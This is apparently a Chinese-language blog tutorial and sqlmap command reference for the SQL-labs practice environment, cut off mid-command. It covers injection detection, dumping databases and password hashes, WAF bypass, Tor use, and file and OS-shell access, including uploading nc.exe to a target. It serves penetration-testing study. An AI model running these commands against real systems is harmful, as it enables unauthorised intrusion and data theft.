SQL-labs通关合集及知识总结
文章目录
- sqlmap的使用和常用命令:
- SQLmap的详细使用:
-
- 1.3.2 目标
- 1.3.3 请求
- 1.3.4 优化
- 1.3.5 注入
- 1.3.6 检测
- 1.3.7 技巧
- 1.3.8 指纹
- 1.3.9 枚举
- 1.3.10 暴力
- 1.3.11 用户自定义函数注入
- 1.3.12 访问文件系统
- 1.3.14 Windows注册表访问
- 1.3.15 一般选项
- 1.3.16 其他
- 1.4 实际利用
- 1.5 SQLMAP实用技巧
- sqlmap的注入实例:
- burp suite支持从不同的文件中读取目标进行SQL注入探测:
- Google Hacking注入
- post注入:
- cookie注入:
- user-agent注入:
- HTTP host头注入:
- sqlmap设置代理:
- 设置Tor网络:
- 设置具体的参数:
- 设置Temper脚本
- SQL注入常用的过waf技巧:
- 一、base challenge
- 高级注入
- 叠加注入
- order by 注入
- challenge
sqlmap的使用和常用命令:
使用technique参数可以指定使用什么技术探测,默认是所有技术。
B-布尔,T-时间,s-堆叠查询,u-union探测,E-基于报错的
1#、注入六连:
-
sqlmap -u “http://www.xx.com?id=x” 【查询是否存在注入点
-
--dbs 【检测站点包含哪些数据库
-
--current-db 【获取当前的数据库名
-
--tables -D "db_name" 【获取指定数据库中的表名 -D后接指定的数据库名称
-
--columns -T "table_name" -D "db_name" 【获取数据库表中的字段
-
--dump -C "columns_name" -T "table_name" -D "db_name" 【获取字段的数据内容
2#、COOKIE注入:
sqlmap -u “http://www.xx.com?id=x” --cookie “cookie” --level 2 【cookie注入 后接cookie值
3#、POST注入:
(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:–forms自动获取表单
例如:sqlmap -u www.xx.com/login.asp --forms
(8)指定参数搜索:–data
例如:sqlmap -u www.xx.com/login.asp --data “username=1”
4#、常用指令:
-
–purge 【重新扫描(–purge 删除原先对该目标扫描的记录)
-
–tables 【获取表名
-
--dbs 【检测站点包含哪些数据库
-
--current-db 【获取当前的数据库名
-
--current-user 【检测当前用户
-
–is-dba 【判断站点的当前用户是否为数据库管理员
-
–batch 【默认确认,不询问你是否输入
-
–search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)
-
–threads 10 【线程,sqlmap线程最高设置为10
-
–level 3 【sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头
的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5 -
–risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
-
-v 【详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容
-
–privileges 【查看权限
-
–tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件
-
–method “POST” --data “page=1&id=2” 【POST方式提交数据
-
–threads number 【采用多线程 后接线程数
-
–referer “” 【使用referer欺骗
-
–user-agent “” 【自定义user-agent
-
–proxy “目标地址″ 【使用代理注入
SQLmap的详细使用:
1.3.2 目标
在这些选项中必须提供至少有一个确定目标
-d DIRECT 直接连接数据库的连接字符串
-u URL, --url=URL 目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url
-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标
-x SITEMAPURL 从远程网站地图(sitemap.xml)文件来解析目标
-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443
-g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
-c CONFIGFILE 从配置ini文件中加载选项
1.3.3 请求
这些选项可以用来指定如何连接到目标URL
--method=METHOD 强制使用给定的HTTP方法(例如put)
--data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users
--param-del=PARA.. 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
--cookie=COOKIE HTTP Cookieheader 值
--cookie-del=COO.. 用来分隔cookie的字符串值
--load-cookies=L.. Filecontaining cookies in Netscape/wget format
--drop-set-cookie IgnoreSet-Cookie header from response
--user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入
--random-agent 使用random-agent作为HTTP User-Agent头值
--host=HOST HTTP Hostheader value
--referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入
-H HEADER, --hea.. 额外的http头(e.g."X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP 认证凭证(name:password)
--auth-file=AUTH.. HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
--ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)
--ignore-proxy 忽略系统的默认代理设置
--ignore-redirects忽略重定向的尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理服务器连接到目标URL
--proxy-cred=PRO.. 代理认证凭证(name:password)
--proxy-file=PRO.. 从文件加载代理列表
--tor 使用Tor匿名网络
--tor-port=TORPORT 设置Tor代理端口
--tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))
--check-tor 检查Tor的是否正确使用
--delay=DELAY 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
--timeout=TIMEOUT 可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。
--retries=RETRIES 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
--randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样
--safe-url=SAFEURL 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-post=SAFE.. 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
--safe-req=SAFER.. 从文件中加载安全HTTP请求
--safe-freq=SAFE.. 测试一个给定安全网址的两个访问请求
--skip-urlencode 跳过URL的有效载荷数据编码
--csrf-token=CSR.. Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌
--csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌
--force-ssl 强制使用SSL/HTTPS
--hpp 使用HTTP参数污染的方法
--eval=EVALCODE 在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")
sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
1.3.4 优化
这些选项可用于优化sqlmap性能
-o 打开所有的优化开关
--predict-output 预测普通查询输出
--keep-alive 使用持久HTTP(S)连接
--null-connection 获取页面长度
--threads=THREADS 当前http(s)最大请求数 (默认 1)
1.3.5 注入
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。
-p TESTPARAMETER 可测试的参数
--skip=SKIP 跳过对给定参数的测试
--skip-static 跳过测试不显示为动态的参数
--param-exclude=.. 使用正则表达式排除参数进行测试(e.g. "ses")
--dbms=DBMS 强制后端的DBMS为此值
--dbms-cred=DBMS.. DBMS认证凭证(user:password)
--os=OS 强制后端的DBMS操作系统为这个值
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑操作使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷铸造机制
--no-escape 关闭字符串逃逸机制
--prefix=PREFIX 注入payload字符串前缀
--suffix=SUFFIX 注入payload字符串后缀
--tamper=TAMPER 使用给定的脚本篡改注入数据
1.3.6 检测
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
--level=LEVEL 执行测试的等级(1-5,默认为1)
--risk=RISK 执行测试的风险(0-3,默认为1)
--string=STRING 查询时有效时在页面匹配字符串
--not-string=NOT.. 当查询求值为无效时匹配的字符串
--regexp=REGEXP 查询时有效时在页面匹配正则表达式
--code=CODE 当查询求值为True时匹配的HTTP代码
--text-only 仅基于在文本内容比较网页
--titles 仅根据他们的标题进行比较
1.3.7 技巧
这些选项可用于调整具体的SQL注入测试
--technique=TECH SQL注入技术测试(默认BEUST)
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
--union-cols=UCOLS 定列范围用于测试UNION查询注入
--union-char=UCHAR 暴力猜测列的字符数
--union-from=UFROM SQL注入UNION查询使用的格式
--dns-domain=DNS.. DNS泄露攻击使用的域名
--second-order=S.. URL搜索产生的结果页面
1.3.8 指纹
f, --fingerprint 执行广泛的DBMS版本指纹检查
1.3.9 枚举
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
--dump 转储数据库表项
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件
1.3.10 暴力
这些选项可以被用来运行暴力检查
--common-tables 检查存在共同表
--common-columns 检查存在共同列
1.3.11 用户自定义函数注入
这些选项可以用来创建用户自定义函数
--udf-inject 注入用户自定义函数
--shared-lib=SHLIB 共享库的本地路径
1.3.12 访问文件系统
这些选项可以被用来访问后端数据库管理系统的底层文件系统
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1
## 1.3.13 操作系统访问
这些选项可以用于访问后端数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令(OSCMD)
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH MetasploitFramework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
linux查看当前用户命令:
sqlmap.py -